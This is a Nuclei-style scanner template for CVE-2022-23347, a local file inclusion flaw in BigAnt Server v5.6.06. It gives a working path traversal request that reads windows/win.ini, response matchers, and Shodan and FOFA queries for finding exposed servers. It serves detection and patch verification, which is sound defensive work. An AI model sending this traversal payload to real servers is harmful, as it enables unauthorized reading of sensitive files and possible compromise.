id: CVE-2022-23347

info:
  name: BigAnt Server v5.6.06 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: BigAnt Server v5.6.06 is vulnerable to local file inclusion.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in BigAnt Server v5.6.06.
  reference:
    - https://github.com/bzyo/cve-pocs/tree/master/CVE-2022-23347
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23347
    - http://bigant.com
    - https://www.bigantsoft.com/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-23347
    cwe-id: CWE-22
    epss-score: 0.72327
    epss-percentile: 0.98781
    cpe: cpe:2.3:a:bigantsoft:bigant_server:5.6.06:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: bigantsoft
    product: bigant_server
    shodan-query:
      - http.html:"BigAnt"
      - http.html:"bigant"
    fofa-query: body="bigant"
  tags: cve,cve2022,bigant,lfi,bigantsoft,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/Pan/ShareUrl/downloadSharedFile?true_path=../../../../../../windows/win.ini&file_name=win.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e4ad90800478ba1db33586699b33da813b5edcc034b73c0ae66b18840742cdab022100f0d5c7789aa162a82289d8837c8eaf33556668e50f86f109ad5e99a00695db29:922c64590222798bb761d5b6d8e72950